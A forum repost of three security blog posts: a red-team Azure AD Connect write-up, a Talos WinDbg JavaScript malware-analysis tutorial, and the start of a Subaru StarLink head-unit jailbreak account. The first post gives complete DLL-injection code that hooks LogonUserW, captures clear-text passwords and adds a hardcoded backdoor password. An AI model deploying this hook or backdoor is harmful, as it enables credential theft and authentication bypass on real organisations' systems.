revealed: So what are the requirements to complete this exfiltration of credentials? Well we will need to have access to the LocalDB (if configured to use this DB), which by default holds the following security configuration: This means that if you are able to compromise a server containing the Azure AD Connect service, and gain access to either the ADSyncAdmins or local Administrators groups, what you have is the ability to retrieve the credentials for an account capable of performing a DCSync: Pass Through Authentication With the idea of password hashes being synced outside of an organisation being unacceptable to some, Azure AD also supports Pass Through Authentication (PTA). This option allows Azure AD to forward authentication requests onto the Azure AD Connect service via Azure ServiceBus, essentially transferring responsibility to Active Directory. To explore this a bit further, let's reconfigure our lab to use Pass Through Authentication: Once this change has pushed out to Azure, what we have is a configuration which allows users authenticating via Azure AD to have their credentials validated against an internal Domain Controller. This is nice compromise for customers who are looking to allow SSO but do not want to upload their entire AD database into the cloud. There is something interesting with PTA however, and that is how authentication credentials are sent to the connector for validation. Let's take a look at what is happening under the hood. The first thing that we can see are a number of methods which handle credential validation: As we start to dig a bit further, we see that these methods actually wrap the Win32 API LogonUserW via pinvoke: And if we attach a debugger, add a breakpoint on this method, and attempt to authenticate to Azure AD, we will see this: This means that when a user enters their password via Azure AD with PTA configured, their credentials are being passed un-hashed onto the connector which then validates them against Active Directory. So what if we compromise a server responsible for Azure AD Connect? Well this gives us a good position to start syphoning off clear-text AD credentials each time someone tries to authenticate via Azure AD. So just how do we go about grabbing data out of the connector during an engagement? Hooking Azure AD Connect As we saw above, although the bulk of the logic takes place in .NET, the actual authentication call to validate credentials passed from Azure AD is made using the unmanaged Win32 API LogonUserW. This gives us a nice place to inject some code and redirect calls into a function that we control. To do this we will need to make use of the SeDebugPrivilege to grab a handle to the service process (as this is running under the NT SERVICE\ADSync). Typically SeDebugPrivilege is only available to local administrators, meaning that you will need to gain local admin access to the server to modify the running process. Before we add our hook, we need to take a look at just how LogonUserW works to ensure that we can restore the call to a stable state once our code has been executed. Reviewing advapi32.dll in IDA, we see that LogonUser is actually just a wrapper around LogonUserExExW: Ideally we don't want to be having to support differences between Windows versions by attempting to return execution back to this function, so going back to the connector's use of the API call we can see that all it actually cares about is if the authentication passes or fails. This allows us to leverage any other API which implements the same validation (with the caveat that the call doesn't also invoke LogonUserW). One API function which matches this requirement is LogonUserExW. This means that we can do something like this: Inject a DLL into the Azure AD Sync process. From within the injected DLL, patch the LogonUserW function to jump to our hook. When our hook is invoked, parse and store the credentials. Forward the authentication request on to LogonUserExW. Return the result. I won't go into the DLL injection in too much detail as this is covered widely within other blog posts, however the DLL we will be injecting will look like this: #include <windows.h> #include <stdio.h> // Simple ASM trampoline // mov r11, 0x4142434445464748 // jmp r11 unsigned char trampoline[] = { 0x49, 0xbb, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x41, 0xff, 0xe3 }; BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken); HANDLE pipeHandle = INVALID_HANDLE_VALUE; void Start(void) { DWORD oldProtect; // Connect to our pipe which will be used to pass credentials out of the connector while (pipeHandle == INVALID_HANDLE_VALUE) { pipeHandle = CreateFileA("\\\\.\\pipe\\azureadpipe", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); Sleep(500); } void *LogonUserWAddr = GetProcAddress(LoadLibraryA("advapi32.dll"), "LogonUserW"); if (LogonUserWAddr == NULL) { // Should never happen, but just incase return; } // Update page protection so we can inject our trampoline VirtualProtect(LogonUserWAddr, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect); // Add our JMP addr for our hook *(void **)(trampoline + 2) = &LogonUserWHook; // Copy over our trampoline memcpy(LogonUserWAddr, trampoline, sizeof(trampoline)); // Restore previous page protection so Dom doesn't shout VirtualProtect(LogonUserWAddr, 0x1000, oldProtect, &oldProtect); } // The hook we trampoline into from the beginning of LogonUserW // Will invoke LogonUserExW when complete, or return a status ourselves BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) { PSID logonSID; void *profileBuffer = (void *)0; DWORD profileLength; QUOTA_LIMITS quota; bool ret; WCHAR pipeBuffer[1024]; DWORD bytesWritten; swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password); WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL); // Forward request to LogonUserExW and return result ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota); return ret; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: Start(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } view raw azuread_hook_dll.cpp hosted with ❤ by GitHub And when executed, we can see that credentials are now harvested each time a user authenticates via Azure AD: Backdoor LogonUser OK, so we have seen how to retrieve credentials, but what about if we actually want to gain access to an Azure AD supported service? Well at this stage we control LogonUserW, and more importantly, we control its response, so how about we insert a backdoor to provide us access. Within our DLL code, let's add a simple check for a hardcoded password: BOOL LogonUserWHook(LPCWSTR username, LPCWSTR domain, LPCWSTR password, DWORD logonType, DWORD logonProvider, PHANDLE hToken) { PSID logonSID; void *profileBuffer = (void *)0; DWORD profileLength; QUOTA_LIMITS quota; bool ret; WCHAR pipeBuffer[1024]; DWORD bytesWritten; swprintf_s(pipeBuffer, sizeof(pipeBuffer) / 2, L"%s\\%s - %s", domain, username, password); WriteFile(pipeHandle, pipeBuffer, sizeof(pipeBuffer), &bytesWritten, NULL); // Backdoor password if (wcscmp(password, L"ComplexBackdoorPassword") == 0) { // If password matches, grant access return true; } // Forward request to LogonUserExW and return result ret = LogonUserExW(username, domain, password, logonType, logonProvider, hToken, &logonSID, &profileBuffer, &profileLength, &quota); return ret; } Obviously you can implement a backdoor as complex or as simple as you want, but let's see how this looks when attempting to authenticate against O365: So what are the takeaways from this? Well first of all, it means for us as red teamers, targeting Azure AD Connect can help to expedite the domain admin chase. Further, if the objectives of the assessment are within Azure or another services integrated with Azure AD, we have the potential to work around authentication for any account which passes an authentication request via PTA. That being said, there is a lot of configuration and alternate options available when deploying Azure AD, so I'm keen to see any further research on just how red teamers can leverage this service. Adam Chester XPN Hacker and Infosec Researcher Sursa: https://blog.xpnsec.com/azuread-connect-for-redteam/
  8. Monday, February 18, 2019 JavaScript bridge makes malware analysis with WinDbg easier Introduction As malware researchers, we spend several days a week debugging malware in order to learn more about it. We have several powerful and popular user mode tools to choose from, such as OllyDbg, x64dbg, IDA Pro and Immunity Debugger. All these debuggers utilize some scripting language to automate tasks, such as Python or proprietary languages like OllyScript. When it comes to analyzing in kernel mode, there is really one option: Windows debugging engine and its interfaces CDB, NTSD, KD and WinDbg. Unfortunately, even if WinDbg is the most user-friendly of the bunch, it is widely considered as one of the least user-friendly debuggers in the world. The learning curve for WinDbg commands is quite steep, as it combines an unintuitive and often conflicting command syntax with an outdated user interface. Adding the traditional WinDbg scripting language to this equation does not make things easier for the user as it creates an additional layer of complexity by introducing its own idiosyncrasies. Thankfully, there's a new WinDbg preview for Windows 10 that brings it in line with modern programming environments. This preview includes a new JavaScript engine and an exposed debugging data model through a set of JavaScript objects and functions. These new features bring WinDbg in line with modern programming environments such as Visual Studio, using already familiar elements of the user interface. In this post, we'll go over this new version of WinDbg's debugger data model and its new interface with JavaScript and dx commands. Debugger data model The debugger data model is an extensible object model that allows debugger extensions, as well as the WinDbg, user interface to access a number of internal debugger objects through a consistent interface. The objects relevant for malware analysis exposed through the data model are: Debugging sessions Processes Process environment (ex. Peb and Teb) Threads Modules Stack frames Handles Devices Code (disassembler) File system Debugger control Debugger variables Pseudo registers dx display expression All the above types of objects are exposed through a new command dx (display debugger object model expression), which can be used to access objects and evaluate expressions using a C++ like syntax, in a simpler and more consistent way than the one exposed through somewhat confusing mix of the MASM and the C++ expression evaluators. Thanks to the addition of the NatVis functionality to WinDbg, the results of dx command are displayed in a much more user friendly way using intuitive formatting with DML as a default output. The starting point for exploring the dx command is simply to type dx Debugger in the WinDbg command window, which will show the top level namespaces in the exposed data model. Those four namespaces are Sessions, Settings, State and Utility. DML generates output using hyperlinks, allowing the user to drill down into the individual namespaces simply by clicking on them. For example, by clicking on the Sessions hyperlink, the command dx -r1 Debugger.Sessions will be executed and its results displayed. Drilling down from the top-level namespaces to processes If we go a couple of layers further down, which can also be controlled with the -r dx command option, we will get to the list of all processes and their properties, including the _EPROCESS kernel object fields exposed as the member KernelObject of a Process debugger object. Users of earlier WinDbg versions will certainly appreciate the new ease of investigation available through the dx command. The dx command also supports tab completion, which makes navigating the data model even easier and allows the user to learn about the operating system and WinDbg internals such as debugger variables and pseudo-registers. For example, to iterate through the list of internal debugger variables you can type dx @$ and then repeatedly press the tab keyboard key, which will cycle through all defined pseudo-registers, starting from $argreg. Pseudo-registers and internal variables are useful if we want to avoid typing full object paths after the dx command. Instead of Debugger.Sessions[0] you can simply use the pseudo-register @$cursession, which points to the current session data model object. If you need to work with the current process you can simply type dx @$curprocess instead of the longer dx Debugger.Sessions[0].Process[procid]. Linq queries Linq (Language Integrated Query) is an already familiar concept for .NET software engineers that allows the user to create SQL-like queries over the object collections exposed through the dx command. There are two syntaxes available for creating Linq expressions for normal .NET development, but WinDbg, through the dx command, only supports creating queries using the Lambda expression syntax. Linq queries allow us to slice and dice the collection objects and extract the pieces of information we are interested in displaying. The Linq function "Where" allows us to select only those objects which satisfy a condition specified by the Lambda expression argument supplied as the function argument. For example, to display only processes which have the string "Google" in the name, we can type: dx @$cursession.Processes.Where(p => p.Name.Contains("Google")) Just like in SQL, the "Select" function allows us to choose which members of an object in the collection we would like to display. For example, for the processes we already filtered using the "Where" function, we can use "Select" to retrieve only the process name and its ID: dx -r2 @$cursession.Processes.Where(p => p.Name.Contains("Google")).Select(p => New { Name=p.Name, Id=p.Id }) Going one level deeper, into the exposed _EPROCESS kernel object, we can choose to display a subset of handles owned by the process under observation. For example, one of the methods to find processes hidden by a user mode rootkit is to enumerate process handles of the Windows client server subsystem process (csrss.exe) and compare that list with a list generated using a standard process enumeration command. Before we list processes created by csrss.exe, we need to find the csrss.exe process(es) objects and once we find them, switch into their context: dx @$cursession.Processes.Where(p => p.Name.Contains("csrss.exe"))[pid].SwitchTo() We can now run a Linq query to display the paths to the main module of the processes present in the csrss.exe handle table: dx @$curprocess.Io.Handles.Where(h => h.Type.Contains("Process")).Select(h => h.Object.UnderlyingObject.SeAuditProcessCreationInfo.ImageFileName->Name) Since ImageFileName is a pointer to a structure of the type _OBJECT_NAME_INFORMATION, we need to use the arrow to dereference it and access the "Name" fields containing the module path. There are many other useful Linq queries. For example, users can order the displayed results based on some criteria, which is similar to the Order By SQL clause, or count the results of the query using the "Count" function. Linq queries can also be used in the JavaScript extension, but their syntax is once again slightly different. We will show an example of using Linq within JavaScript later in the blog post. WinDbg and JavaScript Now that we've covered the basics of the debugger data model and the dx command to explore it, we can move on to the JavaScript extension for WinDbg. Jsprovider.dll is a native WinDbg extension allowing the user to script WinDbg and access the data model using a version of Microsoft's Chakra JavaScript engine. The extension is not loaded by default into the WinDbg process space — it must be done manually. This avoids potential clashes with other JavaScript-based extensions. Jsprovider is loaded using the standard command for loading extensions: .load jsprovider.dll While this post discusses conventional scripts a threat researcher may create while analysing a malware sample, it is worth mentioning that the JavaScript extension also allows developers to create WinDbg extensions that feel just as existing binary extensions. More information about creating JavaScript-based extensions can be found by investigating one of the extensions provided through the official GitHub repository of WinDbg JavaScript examples. WinDbg Preview contains a fully functional Integrated Development Environment (IDE) for writing JavaScript code, allowing the developer to refactor their code while debugging a live program or investigating a memory dump. The following WinDbg commands are used to load and run JavaScript based scripts. The good news is that the commands for handling JavaScript-based scripts are more intuitive compared to the awkward standard syntax for managing WinDbg scripts: .scriptload command loads a JavaScript script or an extension into WinDbg but it does not execute it. .scriptrun runs the loaded script. .scriptunload unloads the script from WinDbg and from the debugger data model namespace. .scriptlist lists all currently loaded scripts. JavaScript entry points Depending on the script command used to load the script, the JavaScript provider will call one of the predefined user script entry points or execute the code in the script root level. From the point of view of a threat researcher, there are two main entry points. The first is a kind of a script constructor function named initializeScript, called by the provider when the .scriptload command is executed. The function is usually called to initialize global variables, and define constants, structures and objects. The objects defined within the initializeScript function will be bridged into the debugger data model namespaces using the functions host.namespacePropertyParent and host.namedModelParent. The bridged objects can be investigated using the dx command as any other native object in the data model. The second, and even more important entry point is the function invokeScript, an equivalent of the C function main. This function is called when the user executes the .scriptrun WinDbg command. Useful tricks for JavaScript exploration Now we will assume that we have a script named "myutils.js" where we keep a set of functions we regularly use in our day-to-day research. First, we need to load the script using the .scriptload function. Loading script functions from the user's Desktop folder WinDbg JavaScript modules and namespaces The main JavaScript object we use to interact with the debugger is the host object. If we are using WinDbg Preview script editor, the Intellisense tab completion and function documentation feature will help us with learning the names of the available functions and members. IntelliSense in action If we just want to experiment, we can put our code into the invokeScript function which will get called every time we execute the script. Once we are happy with the code, we can refactor it and define our own set of functions. Before we dig deeper into the functionality exposed through the JavaScript interface, it is recommended to create two essential helper functions for displaying text on the screen and for interacting with the debugger using standard WinDbg commands. They will be helpful for interaction with the user and for creating workarounds around some functionality that is not yet natively present in JavaScript, but we would need it for debugging. In this example, we named these functions logme and exec. They are more or less just wrappers around the JavaScript functions with the added advantage that we don't need to type the full namespace hierarchy in order to reach them. Helper functions wrapping parts of the JavaScript WinDbg API In the function exec, we see that by referencing the host.namespace.Debugger namespace, we are able to access the same object hierarchy through JavaScript as we would with the dx command from the WinDbg command line. The ExecuteCommand function executes any of the known WinDbg commands and returns the result in a plain text format which we can parse to obtain the required results. This approach is not much different to the approach available in the popular Python based WinDbg extension pykd. However, the advantage of Jsprovider over pykd is that most of the JavaScript extension functions return JavaScript objects thatdo not require any additional parsing in order to be used for scripting. For example, we can iterate over a collection of process modules by accessing host.currentProcess.Modules iterable. Each member of the iterable array is an object of class Module and we can display its properties, in this case the name. It is worth noting that Intellisense is not always able to display all members of a JavaScript object and that is when the for-in loop statement can be very useful. This loop allows us to iterate through names of all the object members which we can print to help during exploration and development. Displaying the members of a Module object On the other hand, the for-of loop statement iterates through all members of an iterable object and returns their values. It is important to remember distinction between these two for loop forms. Printing list of modules loaded into the current process space We can also fetch a list of loaded modules by iterating through the Process Environment Block (PEB) linked list of loaded modules although this requires more preparation to convert the linked list into a collection by calling the JavaScript function host.namespace.Debugger.Utility.Collections.FromListEntry. Here is a full listing of a function which converts the linked list of loaded modules into a JavaScript array of modules and displays their properties. function ListProcessModulesPEB (){ //Iterate through a list of Loaded modules in PEB using FromListEntry utility function for (var entry of host.namespace.Debugger.Utility.Collections.FromListEntry(host.currentProcess.KernelObject.Peb.Ldr.InLoadOrderModuleList, "nt!_LIST_ENTRY", "Flink")) { //create a new typed object using a _LIST_ENTRY address and make it into _LDR_TABLE_ENTRY var loaderdata=host.createTypedObject(entry.address,"nt","_LDR_DATA_TABLE_ENTRY"); //print the module name and its virtual address logme("Module "+host.memory.readWideString(loaderdata.FullDllName.Buffer)+" at "+ loaderdata.DllBase.address.toString(16) + " Size: "+loaderdata.SizeOfImage.toString(16)); } } This function contains the code to read values from process memory, by accessing the host.memory namespace and calling one of the functions readMemoryValues, readString or readWideString, depending on the type of data we need to read. JavaScript 53-bit integer width limitation Although programming WinDbg using JavaScript is relatively simple compared to standard WinDbg scripts, we need to be aware of few facts that may cause a few headaches. The first is the fact that the width of JavaScript integers is limited to 53 bits, which may cause some issues when working with native, 64-bit values. For that reason, the JavaScript extension has a special class host.Int64 whose constructor needs to be called when we want to work with 64-bit numbers. Luckily, the interpreter will warn us when a 53-bit overflow can occur. A host.Int64 object has a number of functions that allow us to execute arithmetic and bitwise operations on it. When trying to create a function to iterate through an array of callbacks registered using the PspCreateProcessNotifyRoutine function shown later in the post, I was not able to find a way to apply a 64-bit wide And bitmask. The masking function seemed to revert back to the 53-bit width, which would create an overflow if the mask was wider than 53 bits. Masking a host.Int64 with a 53-bit And mask yields a correct result and incorrect if wider Luckily, there are functions GetLowPart and GetHighPart, which respectively return lower or upper 32 bits of a 64-bit integer. This allows us to apply the And mask we need and get back the required 64-bit value by shifting the higher 32-bit value to the left by 32 and adding the lower 32 bits to it. The 53-bit limitation for WinDbg JavaScript implementation is an annoyance and it would be very welcome if WinDbg team could find a way to overcome it and support 64 bit numbers without resorting to the special JavaScript class. Linq in JavaScript We have already seen how Linq queries can be used to access a subset of debugger data model objects and their members using the dx commands. However, their syntax in JavaScript is slightly different and it requires the user to supply either an expression that returns a required data type or supply an anonymous function as an argument to a Linq verb function call returning the required data type. For example, for the "Where" Linq clause, the returned value has to be a boolean type. For the "Select" clause, we need to supply a member of an object we would like to select or a new anonymous object composed of a subset of the queried object members. Here is a simple example using Linq functions filtering a list of modules to display only those modules whose name contains the string "dll" and selects only the module name and its base address to display. function ListProcessModules(){ //An example on how to use LINQ queries in JavaScript //Instead of a Lambda expression supply a function which returns a boolean for Where clause or let mods=host.currentProcess.Modules.Where(function (k) {return k.Name.includes("dll")}) //a new object with selected members of an object we are looking at (in this case a Module) .Select(function (k) {return { name: k.Name, adder:k.BaseAddress} }); for (var lk of mods) { logme(lk.name+" at "+lk.adder.toString(16)); } } Inspecting operating system structures A good starting point for getting the kernel functions and structures addresses is the function host.getModuleSymbolAddress.If we need the actual value stored in the retrieved symbol, we need to dereference the address using host.memory.readMemoryValues function or the dereference function for a single value. Here is an example enumerating callbacks registered using the documented PspCreateProcessNotifyRoutine kernel function that registers driver functions which will be notified every time a process is created or terminated. This is also used by kernel mode malware, for hiding processes or for preventing user mode modules of the malware from termination. The example in the post is inspired by the C code for enumerating callbacks implemented in the SwishDbgExt extension developed by Matthieu Suiche. This WinDbg extension is very useful for analysing systems infected by kernel mode malware, as well as kernel memory dumps. The code shows that even more complex functions can be relatively easily implemented using JavaScript. In fact, development using JavaScript is ideal for malware researchers as writing code, testing and analysis can be all be performed in parallel using the WinDbg Preview IDE. function ListProcessCreateCallbacks() { PspCreateNotifyRoutinePointer=host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutine"); let PspCreateNotify=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer,1,8); let PspCallbackCount=host.memory.readMemoryValues(host.getModuleSymbolAddress("ntkrnlmp","PspCreateProcessNotifyRoutineCount"),1,4); logme ("There are "+PspCallbackCount.toString()+" PspCreateProcessNotify callbacks"); for (let i = 0; i<PspCallbackCount;i++){ let CallbackRoutineBlock=host.memory.readMemoryValues(PspCreateNotifyRoutinePointer.add(i * 8),1,8); let CallbackRoutineBlock64=host.Int64(CallbackRoutineBlock[0]); //A workaround seems to be required here to bitwise mask the lowest 4 bits, //Here we have: //Get lower 32 bits of the address we need to mask and mask it to get //lower 32 bits of the pointer to the _EX_CALLBACK_ROUTINE_BLOCK (undocumented structure known in ReactOS) let LowCallback=host.Int64(CallbackRoutineBlock64.getLowPart()).bitwiseAnd(0xfffffff0); //Get upper 32 bits of the address we need to mask and shift it left to create a 64 bit value let HighCallback=host.Int64(CallbackRoutineBlock64.getHighPart()).bitwiseShiftLeft(32); //Add the two values to get the address of the i-th _EX_CALLBACK_ROUTINE_BLOCK let ExBlock=HighCallback.add(LowCallback); //finally jump over the first member of the structure (quadword) to read the address of the callback let Callback=host.memory.readMemoryValues(ExBlock.add(8),1,8); //use the .printf trick to resolve the symbol and print the callback let rez=host.namespace.Debugger.Utility.Control.ExecuteCommand(".printf \"%y\n\", " + Callback.toString()); //print the function name using the first line of the response of .printf command logme("Callback "+i+" at "+Callback.toString()+" is "+rez[0]); } } Here we see the manipulation of the 64-bit address mentioned above. We split a 64-bit value into upper and lower 32 bits and apply the bitmask separately to avoid a 53-bit JavaScript integer overflow. Another interesting point is the use of the standard debugger command .printf to do a reverse symbol resolution. Although the JavaScript function host.getModuleSymbolAddress allows us to get the address of the required symbol, as of writing this blog post there are no functions which allow us to get the symbol name from an address. That is why the workaround .printf is used with the %y format specifier which returns a string containing the name of the specified symbol. Debugging the debugging scripts Developers of scripts in any popular language know that for successful development, the developer also requires a set of tools that will allow debugging. The debugger needs to be able to set breakpoints and inspect values of variables and objects. This is also required when we are writing scripts that need to access various operating system structures or to analyse malware samples. Once again, the WinDbg JavaScript extension delivers the required functionality in the form of a debugging tool whose commands will be very familiar to all regular WinDbg users. The debugger is launched by executing the command .scriptdebug, which prepares the JavaScript debugger for debugging a specific script. Once the debugger has loaded the script, have an option to choose events which will cause the debugger to stop as well as set breakpoints on specific lines of script code. The command sxe within the JavaScript debugger is used, just as in WinDbg, to define after which events the debugger will break. For example, to break on the first executed line of a script we simply type sxe en. Once the command has successfully executed we can inspect the status of all available events by using the command sx. Sx shows JavaScript debugger breaking status for various exceptions Now, we also have an opportunity to specify the line of the script where the breakpoint should be set using the command bp, just as in standard WinDbg syntax. To set a breakpoint, the user needs to specify a line number together with the position on the line, for example bp 77:0. If the specified line position is 0, the debugger automatically sets the breakpoint on the first possible position on the line which helps us to avoid counting the required breakpoint positions. Setting a breakpoint on line position 0 sets it on the first possible position Now that we have set up all the required breakpoints we have to exit the debugger, which is a slightly unintuitive step. The debugging process continues after calling the script either by accessing the WinDbg variable @$scriptContents and calling any of the functions of the script we wish to debug or by launching the script using .scriptrun as usual. Naturally, the @$scriptContents variable is accessed using the dx command. Scripts can be launched for debugging using the @$scriptContents variable The debugger contains its own JavaScript evaluator command ??, which allows us to evaluate JavaScript expressions and inspect values of the script variables and objects. Commands ? or ?? are used to inspect display result of JavaScript expressions . JavaScript debugging is a powerful tool required for proper development. Although its function is already sufficient in early JavaScript extension versions, we hope that its function will become richer and more stable over time, as WinDbg Preview moves closer to its full release. Conclusion We hope that this post provided you with few pointers to functionality useful for malware analysis available through the official Microsoft JavaScript WinDbg extension. Although the API exposed through JavaScript is not complete, there are usually ways to work around the limitations by wrapping standard WinDbg commands and parsing their output. This solution is not ideal and we hope that new functionality will be added directly to the JavaScript provider to make the scripting experience even more user friendly. The Debugging Tools for Windows development team seems to be committed to adding new JavaScript modules as was recently demonstrated through the addition of the file system interaction and the Code namespace module which open a whole new set of possibilities for code analysis we may be able to cover in one of our next posts. Interested readers are invited to check out the CodeFlow JavaScript extension made available through the official examples repository on Github. If you would like to learn a few more tips on malware analysis using WinDbg and JavaScript Cisco Talos will be presenting a session at the CARO Workshop in Copenhagen in May. References dx command MASM and C++ WinDbg evaluators Linq and the debugger data model Debugger data model for reversers Debugging JavaScript in WinDbg JavaScript debugger example scripts WinDbg JavaScript scripting video DX command video Debugger object model video Posted by Vanja Svajcer at 12:29 PM Sursa: https://blog.talosintelligence.com/2019/02/windbg-malware-analysis-with-javascript.html#more
  9. Jailbreaking Subaru StarLink Another year, another embedded platform. This exercise, while perhaps less important than the medical security research I've worked on the past, is a bit more practical and entertaining. What follows is a technical account of gaining persistent root code execution on a vehicle head unit. Table of Contents Jailbreaking Subaru StarLink Table of Contents Introduction Shared Head Unit Design Existing Efforts SSH Finding the Manufacturer Harman and QNX Dr. Charlie Miller & Chris Valasek's Paper First Recap Analysis of Attack Surfaces USB Update Mechanism On My Warranty Hardware Analysis Board Connectors Serial Port Installing the Update Firmware swdl.iso IFS Files ifs-subaru-gen3.raw Contents Files of Note minifs.ifs Contents ISO Modification Reverse Engineering QNXCNDFS installUpdate Flow cdqnx6fs Cluster Table Cluster Data Decrypting Key Generation Emulation Cluster Decryption Cluster Decompression Mounting the Image The Extents Section Understanding the Extents Final Decompression system.dat ifs_images Back to QNXCNDFS The Shadow File Non-privileged Code Execution Image Creation Root Escalation Backdooring SSH Putting it All Together CVE-2018-18203 Next Steps Notes from Subaru and Harman Note from Subaru Note from Harman Conclusion Introduction Back in June, I purchased a new car: the 2018 Subaru Crosstrek. This vehicle has an interesting head unit that's locked down and running a proprietary, non-Android operating system. Let's root it. If this was Android, we could most likely find plenty of pre-existing PoCs and gain root rather trivially as most vehicle manufacturers never seem to update Android. Because this isn't an old Android version, we'll have to put a little more work in than usual. Shared Head Unit Design In 2017, Subaru launched a new version of their StarLink head unit on the Impreza. The same head unit appears to be used on the 2018+ Crosstrek, as well as the latest Forester and Ascent. If we can root the base device, we can potentially root every head unit on every vehicle sharing the same platform. There are a few SKUs for the head units on the Crosstrek and Impreza. The cheapest model has a 6-inch screen. A higher trim model has an 8-inch screen, and the top of the line model has the 8-inch screen as well as an embedded GPS mapping system. All models support Apple Carplay and Android Auto. The 8-inch models can connect to WiFi networks and theoretically download firmware updates wirelessly, but this functionality doesn't seem to be in use yet. Existing Efforts Starting from scratch, we know virtually nothing about the head unit. There are no obvious debugging menus, no firmware versions listed anywhere, and no clear manufacturer. First, we need to research and find out if anyone else has already accomplished this or made any progress understanding the unit. The only useful data was posted by redditor nathank1989. See his post in /r/subaruimpreza, and, more importantly, the replies. To quote his post: SSH Into STARLINK Just got myself the 2017 Impreza Sport and can see there's an open SSH server. Kudos to the person who knows what is or how to find the root user and password. 2 hours of googling has yielded nothing. SSH is a good sign — we're mostly likely running some sort of Unix variant. Further down in the Reddit post, we have a link to a firmware update. This will save us time as getting access to a software update is sometimes quite difficult with embedded systems. Subaru later took this firmware update down. They had linked to it from the technical service manuals you can purchase access to through Subaru. It appears that Subarunet did not require any form of authentication to download files originally. I did not get the files from this link as they were down by the time I found the thread, but, the files themselves had been mirrored by many Subaru enthusiasts. These files can be placed on a USB thumb drive, inserted into the vehicle's USB ports, and the firmware installed on the head unit. Aside from this, there really isn't much information out there. SSH What happens if we connect to SSH over WiFi? ****************************** SUBARU ******************************* Warning - You are knowingly accessing a secured system. That means you are liable for any mischeif you do. ********************************************************************* root@192.168.0.1's password: Dead end. Brute forcing is a waste of time and finding an exploit that would only work on the top tier of navigation models with WiFi isn't practical. Finding the Manufacturer We can find the manufacturer (Harman) in several different ways. I originally discovered it was Harman after I searched several auction sites for Subaru Impreza head units stripped out of wrecked vehicles. There were several for sale that had pictures showing stickers on the removed head unit with serial numbers, model numbers, and, most importantly, the fact that Harman manufacturers the device. Another way would be to remove the head unit from a vehicle, but I'm not wealthy enough to void the warranty on a car I enjoy, and I've never encountered a dash that comes out without tabs breaking. The technical manuals you can pay for most likely have this information as well as the head unit pinout. Hidden debug and dealer menus are accessible via key combinations. One of these menus hints that the device is running QNX and is from Harman. See another useful Reddit post by ar_ar_ar_ar. From the debug menu, we know we're running QNX 6.60. Harman and QNX Now that we know the manufacturer and OS, we can expand the search a bit. There are a few interesting publications on Harman head units, and one of them is both useful and relatively up-to-date. Dr. Charlie Miller & Chris Valasek's Paper Back in 2015, Dr. Charlie Miller and Chris Valasek presented their automotive research at Blackhat: Remote Exploitation of an Unaltered Passenger Vehicle. This is, by far, the best example of public research on Harman head units. Thank you to Dr. Miller and Chris for publishing far more details than necessary. The paper covers quite a few basics of Harman's QNX system and even shows the attacks they used to gain local code execution. Although the system has changed a bit since then, it is still similar in many ways and the paper is well worth reviewing. First Recap At this point, we know the following: This is a Harman device. It is running QNX 6.60. We have a firmware image. Analysis of Attack Surfaces Where do we begin? We can attack the following systems, listed by approximate difficulty, without having to disassemble the vehicle: Local USB Update Mechanism USB Media Playback (metadata decoding?) OBD? iPod Playback Protocol Carplay/Android Auto Interfaces CD/DVD Playback & Metadata Decoding Wireless WiFi Bluetooth FM Traffic Reception / Text Protocols There are more vectors, but attacking them often isn't practical at the hobbyist level. USB Update Mechanism The biggest attack vector (but not necessarily the most important) on a vehicle head unit is almost always the head unit software update mechanism. Attackers need a reliable way to gain access to the system to explore it for other vulnerabilities. Assuming it can be done, spoofing a firmware update is going to be a much more "global" rooting mechanism than any form of memory corruption or logic errors (barring silly mistakes like open Telnet ports/DBUS access/trivial peek/poke etc.). Thus, finding a flaw like this would be enormously valuable from a vulnerability research perspective. On My Warranty If we’re going to start attacking an embedded system, we probably shouldn’t attack the one in a real, live vehicle used to drive around town. More than likely nothing bad would happen assuming correct system design and architecture (a safe assumption?), but paying to have the dealer replace the unit would be very expensive. This could also potentially impact the warranty, which could be cost-prohibitive. Auction sites have plenty of these for sale from salvage yards for as low as $200. That's a fantastic deal for a highly proprietary system with an OEM cost of more than $500. Hardware Analysis Before we look at the firmware images we grabbed earlier, let's evaluate the hardware platform. This is pretty standard for embedded systems. First, figure out how to power on the system. We need a DC power supply for the Subaru head unit as well as the wiring diagram for the back of the unit in order to know what to attach the power leads to. I didn't feel like paying the $30 for access to the technical manual, so I searched auction sites for a while, eventually found a picture of the wiring harness, noted that the harness had one wire that was much thicker than the others, guessed that was probably power, attached the leads, prayed, and powered the unit on. I don't recommend doing that, but it worked this time. Next, disassemble the device and inventory the chips on the system. Important parts: ARM processors. USB ports. (correspond to the USB ports in the car for iPhone attachment etc) Unpopulated orange connectors. (Interesting!) 32GB eMMC. The eMMC is a notable attack vector. If we had unlimited time and money, dump the contents via attaching test points to nearby leads else by desoldering the entire package. Unfortunately, I don't have the equipment for this. At minimum I'd want a rather expensive stereo microscope, and that isn't worth the cost to me. One could potentially root the device by desoldering, dumping, modifying a shadow file, reflashing, and resoldering. A skilled technician (i.e. professional attacker) in a well-equipped lab could do this trivially. Board Connectors There are strange looking orange connectors with Kapton tape covering them. How do we find the connectors so we can easily probe the pins? We could trawl through tiny, black and white DigiKey pictures for a while and hopefully get lucky, but asking electronics.stackexchange.com is far simpler. I posted the question and had many members helpfully identify the connector as Micromatch in less than an hour. Fantastic. Order cable assemblies from DigiKey, attach them, then find the 9600 or 115200 baud serial port every embedded system under the sun always has. Always. Serial Port SUBARU Base, date:Jul 11 2017 Using eMMC Boot Area loader in 79 ms �board_rev = 6 Startup: time between timer readings (decimal): 39378 useconds Welcome to QNX 660 on Harman imx6s Subaru Gen3 ARM 